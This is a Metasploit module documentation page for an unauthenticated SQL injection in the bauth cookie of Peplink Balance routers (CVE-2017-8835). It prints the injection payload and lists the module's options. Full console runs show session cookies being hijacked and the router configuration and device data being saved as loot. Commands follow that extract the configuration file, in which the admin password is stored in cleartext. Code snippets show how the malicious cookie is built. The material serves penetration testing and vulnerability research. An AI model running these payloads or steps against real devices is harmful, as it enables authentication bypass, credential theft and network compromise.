Peplink Balance routers SQLi - Metasploit
This page contains detailed information about how to use the auxiliary/gather/peplink_bauth_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Peplink Balance routers SQLi
Module: auxiliary/gather/peplink_bauth_sqli
Source code: modules/auxiliary/gather/peplink_bauth_sqli.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-8835
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication. By default, a session expires 4 hours after login (the setting can be changed by the admin), for this reason, the module attempts to retrieve the most recently created sessions.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/peplink_bauth_sqli
msf auxiliary(peplink_bauth_sqli) > show targets
... a list of targets ...
msf auxiliary(peplink_bauth_sqli) > set TARGET target-id
msf auxiliary(peplink_bauth_sqli) > show options
... show and set options ...
msf auxiliary(peplink_bauth_sqli) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Introduction
This module exploits an SQLi vulnerability in the web interface of Peplink routers running outdated firmware (confirmed on version 7.0.0-build1904 and below).
The vulnerability is due to the lack of sanitization applied to the bauth cookie, Successful exploitation of the vulnerability allows unauthenticated attackers to get into sessions of legitimate users (bypassing authentication).
Exploitation of this vulnerability requires that there is at least one active user session created in the last 4 hours (or session lifetime if it was modified).
Options
BypassLogin
If true, don't retrieve cookies, just use the SQL injection vulnerability to bypass the login In the case where expired and non-expired admin sessions exist, might select the expired session if enabled.
AdminOnly
Only attempt to retrieve cookies of privilegied users (admins)
EnumPrivs
Retrieve the privilege associated with each session
EnumUsernames
Retrieve the username associated with each session
LimitTries
The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
Scenarios
Vulnerable firmware downloadable from here. It's possible to reproduce the vulnerability without owning a peplink router, using FusionHub. Refer to its installation guide, use a free Solo license.
Firmware version 6.3.2
BypassLogin:
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkconfigur_203870.bin
[*] Retrieving fhlicense_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhlicens_829403.txt
[*] Retrieving sysinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinksysinfo_824042.txt
[*] Retrieving macinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmacinfo_992224.txt
[*] Retrieving hostnameinfo
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhostname_183370.txt
[*] Retrieving uptime
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkuptime_523334.txt
[*] Retrieving client_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkclient_i_704361.txt
[*] Retrieving hubport
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhubport_264378.txt
[*] Retrieving fhstroute
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhstrout_701714.txt
[*] Retrieving ipsec
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkipsec_664157.txt
[*] Retrieving wan_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkwan_summ_936160.txt
[*] Retrieving firewall
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfirewall_270172.txt
[*] Retrieving cert_info
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkcert_inf_201536.txt
[*] Retrieving mvpn_summary
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config:
$ dd if=20200802_fshhw1_1135E8A0DD29.conf of=config.tar.gz skip=36 bs=1
$ tar vxf config.tar.gz
The config usually includes the admin password in cleartext.
Note: it's also possible to upload a modified config.
$ cat config
ADMIN_HTTPS_ENABLE="yes"
ADMIN_HTTPS_LANONLY="no"
ADMIN_HTTPS_PORT="443"
ADMIN_HTTP_ENABLE="yes"
ADMIN_HTTP_TO_HTTPS="yes"
ADMIN_LANONLY="no"
ADMIN_NAME="admin"
ADMIN_PASSWORD="mySECUREpassword1"
ADMIN_PORT="80"
ADMIN_ROA_PASSWORD="user"
ADMIN_SESSION_TIMEOUT="14400"
CONFIG_VERSION="6.0"
DHCP_SERVER="enable"
FIREWALL_IDS="yes"
HOSTNAME="peplink"
IPSEC_NAT="yes"
LAN_CONN_METHOD="static"
LAN_IPADDR="192.168.1.254"
LAN_NETMASK="255.255.255.0"
LEFTTIME_USAGE="yes"
...
EnumPrivs and EnumUsernames:
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true
EnumPrivs => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true
EnumUsernames => true
msf5 auxiliary(sqli/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems vulnerable
[*] There are 2 (possibly expired) sessions
[*] Trying the ids from the most recent login
[+] Found cookie wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8, username = user, with read-only permissions
[+] Found cookie aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr, username = admin, with read/write permissions
[*] Checking for admin cookie : wPJLPS6lqt8Ushwz1tlmz5tRbvI1ybwWRaBx2GRi3Qcu8
[*] Checking for admin cookie : aLvFyqho3JYoYSc7EROYWU5A7c4pz9IwV66mvnIzYwMPr
...
[*] Auxiliary module execution completed
msf5 auxiliary(sqli/peplink_bauth_sqli) >
Verbose:
When you enable verbose, you get the parsed XML document displayed.
msf5 auxiliary(gather/peplink_bauth_sqli) > set Verbose true
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
msf5 auxiliary(gather/peplink_bauth_sqli) > run
[*] Running module against 192.168.1.254
[+] Target seems to be vulnerable
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkconfigur_780974.bin
[*] Retrieving fhlicense_info
[+] data
[+] license
[+] bandwidth
[+] 0
[+] sessions
[+] 0
[+] err_desc
[+] Virtual machine server changed.
[+] force_lic_page
[+] 1
[+] activated
[+] 0
[+] vm_server_address
[+] expired
[+] 0
[+] license_type
[+] Invalid
[+] expiry_date
[+] 2021-08-02
[+] sn
[+] 1135-E8A0-DD29
[+] license_key
[+] YCB7EAN54FAEMTDF
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhlicens_867800.txt
[*] Retrieving sysinfo
[+] data
[+] sysinfo
[+] legal
[+] company
[+] Peplink
[+] mvpn_version
[+] 5.0.0
[+] version
[+] 6.3.2 build 1424
[+] serial
[+] 1135-E8A0-DD29
[+] product_code
[+] hardware_revision
[+] 1
[+] desc_support
[+] product_name
[+] Peplink FusionHub
[+] name
[+] 1135-E8A0-DD29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinksysinfo_739792.txt
[*] Retrieving macinfo
[+] data
[+] macinfo
[+] port {id=0}
[+] mac
[+] 08:00:27:52:8b:fc
[+] name
[+] WAN
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmacinfo_307720.txt
[*] Retrieving hostnameinfo
[+] data
[+] hostname_info
[+] hostname
[+] 1135-e8a0-dd29
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhostname_534719.txt
[*] Retrieving uptime
[+] data
[+] subscription_mode
[+] systime
[+] Sun Aug 02 14:31:21 CET 2020
[+] uptime
[+] elapsed
[+] 2986
[+] info
[+] 0 days 0 hours 49 minutes
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkuptime_233915.txt
[*] Retrieving client_info
[+] data
[+] client_status
[+] reserved_mac
[+] client_list
[+] client {type=0}
[+] rate_down
[+] 0
[+] rate_up
[+] 0
[+] active
[+] mac
[+] 10:08:B1:CC:97:41
[+] ip {id=0}
[+] 192.168.1.222
[+] ipn
[+] 3232235998
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkclient_i_419158.txt
[*] Retrieving hubport
[+] data
[+] port {id=wan}
[+] mvpn_advertise_wan_network
[+] tcpmss
[+] mtu
[+] 1440
[+] pppoe_sn
[+] pppoe_password
[+] pppoe_user
[+] dns_custom_servers
[+] 8.8.8.8 1.1.1.1
[+] dns_auto
[+] dhcp_hostname
[+] dhcp_client_id
[+] mvpn_default_to_lan
[+] gateway
[+] 192.168.1.1
[+] netmask
[+] 255.255.255.0
[+] ipaddr
[+] 192.168.1.254
[+] bridge_mvpn
[+] bridge_mode
[+] conn_method
[+] static
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkhubport_064122.txt
[*] Retrieving fhstroute
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfhstrout_739377.txt
[*] Retrieving ipsec
[+] data
[+] ipsec
[+] order
[+] nat
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkipsec_320666.txt
[*] Retrieving wan_summary
[+] data
[+] connection_info
[+] conn {id=1}
[+] conn_method
[+] method
[+] dhcp
[+] modem_idle
[+] timeout
[+] 180
[+] backup_group
[+] 0
[+] mvpn_nat
[+] nat
[+] enable
[+] port_id
[+] 1
[+] name
[+] WAN
[+] order
[+] 1
[+] physical_info
[+] port {id=1}
[+] ethernet_info
[+] simulated_mac
[+] default_mac
[+] mac_clone
[+] mtu
[+] advertise
[+] speed
[+] port_name
[+] WAN
[+] type
[+] ethernet
[+] activated
[+] yes
[+] count
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkwan_summ_918579.txt
[*] Retrieving firewall
[+] data
[+] firewall_ids
[+] firewall_mvpn
[+] private_firewall
[+] default
[+] accept
[+] outbound_firewall
[+] default
[+] accept
[+] inbound_firewall
[+] default
[+] accept
[+] linkinfo
[+] link {id=1}
[+] port {id=1}
[+] port_name
[+] WAN
[+] port_type
[+] ethernet
[+] actiavted
[+] name
[+] WAN
[+] enable
[+] order
[+] 1
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkfirewall_758402.txt
[*] Retrieving cert_info
[+] data
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkcert_inf_603637.txt
[*] Retrieving mvpn_summary
[+] data
[+] mvpn
[+] order
[+] mvpn_nat_mode_dhcp_server
[+] has_nat_profile
[+] 0
[+] nat_remote
[+] 0
[+] subnet_mask
[+] 24
[+] pool_end
[+] 169.254.131.254
[+] pool_start
[+] 169.254.131.1
[+] enable
[+] 1
[+] restrict_advertise
[+] no
[+] hc_mode
[+] 0
[+] rn
[+] 1135-E8A0-DD29
[+] site_id
[+] 333
[+] l2vpn
[+] wanport_supported
[+] false
[+] wanport_name
[+] WAN Port Unavailable
[+] Saved at /home/redouane/.msf4/loot/20200802153115_default_192.168.1.254_peplinkmvpn_sum_970830.txt
[*] Auxiliary module execution completed
msf5 auxiliary(gather/peplink_bauth_sqli) >
Loot:
msf5 auxiliary(gather/peplink_bauth_sqli) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.254 peplink configuration tar gz application/binary /home/redouane/.msf4/loot/20200802153714_default_192.168.1.254_peplinkconfigur_157106.bin
192.168.1.254 peplink fhlicense_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhlicens_326973.txt
192.168.1.254 peplink sysinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinksysinfo_385353.txt
192.168.1.254 peplink macinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmacinfo_525407.txt
192.168.1.254 peplink hostnameinfo text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhostname_613045.txt
192.168.1.254 peplink uptime text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkuptime_488261.txt
192.168.1.254 peplink client_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkclient_i_529454.txt
192.168.1.254 peplink hubport text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkhubport_938262.txt
192.168.1.254 peplink fhstroute text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfhstrout_737113.txt
192.168.1.254 peplink ipsec text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkipsec_055562.txt
192.168.1.254 peplink wan_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkwan_summ_957693.txt
192.168.1.254 peplink firewall text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkfirewall_777226.txt
192.168.1.254 peplink cert_info text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkcert_inf_765605.txt
192.168.1.254 peplink mvpn_summary text/xml /home/redouane/.msf4/loot/20200802153715_default_192.168.1.254_peplinkmvpn_sum_890141.txt
msf5 auxiliary(gather/peplink_bauth_sqli) >
Go back to menu.
Msfconsole Usage
Here is how the gather/peplink_bauth_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/peplink_bauth_sqli
msf6 auxiliary(gather/peplink_bauth_sqli) > show info
Name: Peplink Balance routers SQLi
Module: auxiliary/gather/peplink_bauth_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
X41 D-Sec GmbH <[email protected]>
Redouane NIBOUCHA <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AdminOnly false yes Only attempt to retrieve cookies of privilegied users (admins)
BypassLogin false yes Just bypass login without trying to leak the cookies of active sessions
EnumPrivs false yes Retrieve the privilege associated with each session
EnumUsernames false yes Retrieve the username associated with each session
LimitTries no The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI
VHOST no HTTP server virtual host
Description:
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers
are affected by an unauthenticated SQL injection vulnerability in
the bauth cookie, successful exploitation of the vulnerability
allows an attacker to retrieve the cookies of authenticated users,
bypassing the web portal authentication. By default, a session
expires 4 hours after login (the setting can be changed by the
admin), for this reason, the module attempts to retrieve the most
recently created sessions.
References:
https://www.exploit-db.com/exploits/42130
https://nvd.nist.gov/vuln/detail/CVE-2017-8835
https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a
Module Options
This is a complete list of options available in the gather/peplink_bauth_sqli auxiliary module:
msf6 auxiliary(gather/peplink_bauth_sqli) > show options
Module options (auxiliary/gather/peplink_bauth_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
AdminOnly false yes Only attempt to retrieve cookies of privilegied users (admins)
BypassLogin false yes Just bypass login without trying to leak the cookies of active sessions
EnumPrivs false yes Retrieve the privilege associated with each session
EnumUsernames false yes Retrieve the username associated with each session
LimitTries no The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/peplink_bauth_sqli auxiliary module:
msf6 auxiliary(gather/peplink_bauth_sqli) > show advanced
Module advanced options (auxiliary/gather/peplink_bauth_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SqliDelay 1.0 no The delay to sleep on time-based blind SQL injections
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/peplink_bauth_sqli module can do:
msf6 auxiliary(gather/peplink_bauth_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/peplink_bauth_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/peplink_bauth_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No active authenticated sessions found, try again after a user has authenticated
Here is a relevant code snippet related to the "No active authenticated sessions found, try again after a user has authenticated" error message:
68: end.compact
69:
70: print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']
71:
72: if session_ids.count == 0
73: print_error('No active authenticated sessions found, try again after a user has authenticated')
74: return
75: end
76:
77: print_status('Trying the ids from the most recent logins')
78:
errorMessage
Here is a relevant code snippet related to the "errorMessage" error message:
101: end
102:
103: # returns false if data has an error message, the data otherwise
104: def parse_and_check_for_errors(data)
105: xml = ::Nokogiri::XML(data)
106: if xml.errors.empty? && data.include?('errorMessage')
107: print_error xml.css('errorMessage')[0].text
108: false
109: else
110: xml.errors.empty? ? xml : data
111: end
errorMessage
Here is a relevant code snippet related to the "errorMessage" error message:
102:
103: # returns false if data has an error message, the data otherwise
104: def parse_and_check_for_errors(data)
105: xml = ::Nokogiri::XML(data)
106: if xml.errors.empty? && data.include?('errorMessage')
107: print_error xml.css('errorMessage')[0].text
108: false
109: else
110: xml.errors.empty? ? xml : data
111: end
112: end
noop
Here is a relevant code snippet related to the "noop" error message:
118: 'cookie' => "bauth=#{cookie}",
119: 'vars_get' => {
120: 'option' => option
121: }
122: })
123: return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)
124:
125: if res.code == 200
126: print_status "Retrieving #{option}"
127: xml = parse_and_check_for_errors(res.body)
128: if xml
Could not retrieve <OPTION>
Here is a relevant code snippet related to the "Could not retrieve <OPTION>" error message:
132: xml
133: else
134: false
135: end
136: else
137: print_error "Could not retrieve #{option}"
138: false
139: end
140: end
141:
142: def retrieve_data(cookie)
Could not retrieve the router configuration file
Here is a relevant code snippet related to the "Could not retrieve the router configuration file" error message:
155: if parse_and_check_for_errors(config)
156: path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)
157: print_good "Retrieved config, saved at #{path}"
158: end
159: else
160: print_error 'Could not retrieve the router configuration file'
161: end
162:
163: data_options.each do |option|
164: get_data_by_option(cookie, option)
165: end
Unable to connect to <TARGET_URI.PATH>
Here is a relevant code snippet related to the "Unable to connect to <TARGET_URI.PATH>" error message:
193: res = send_request_cgi({
194: 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
195: 'method' => 'GET',
196: 'cookie' => "bauth=' or #{payload}--"
197: })
198: return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res
199:
200: res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
201: end
202: if @sqli.test_vulnerable
203: Exploit::CheckCode::Vulnerable
Target does not seem to be vulnerable
Here is a relevant code snippet related to the "Target does not seem to be vulnerable" error message:
206: end
207: end
208:
209: def run
210: unless check == Exploit::CheckCode::Vulnerable
211: print_error 'Target does not seem to be vulnerable'
212: return
213: end
214: print_good 'Target seems to be vulnerable'
215: if datastore['BypassLogin']
216: cookies = [
No valid admin cookie
Here is a relevant code snippet related to the "No valid admin cookie" error message:
223: admin_cookie = cookies.detect do |c|
224: print_status "Checking for admin cookie : #{c}"
225: get_data_by_option(c, 'noop')
226: end
227: if admin_cookie.nil?
228: print_error 'No valid admin cookie'
229: return
230: end
231: retrieve_data(admin_cookie)
232: end
233: end
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Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14084 Merged Pull Request: Add url reference to peplink_bauth_sqli
- #14066 Merged Pull Request: report
CheckCode
forcheck
failure - #13847 Merged Pull Request: [GSoC] Add SQLite injection support, small refactoring, and exploit for CVE-2017-8835
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/typo3_news_module_sqli
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/gather/alienvault_iso27001_sqli
- auxiliary/gather/alienvault_newpolicyform_sqli
- auxiliary/gather/billquick_txtid_sqli
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- auxiliary/gather/mantisbt_admin_sqli
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/solarwinds_orion_sqli
- auxiliary/gather/suite_crm_export_sqli
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/gather/vbulletin_vote_sqli
- auxiliary/gather/zabbix_toggleids_sqli
- auxiliary/scanner/http/vicidial_multiple_sqli
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
Authors
- X41 D-Sec GmbH <[email protected]>
- Redouane NIBOUCHA <rniboucha[at]yahoo.fr>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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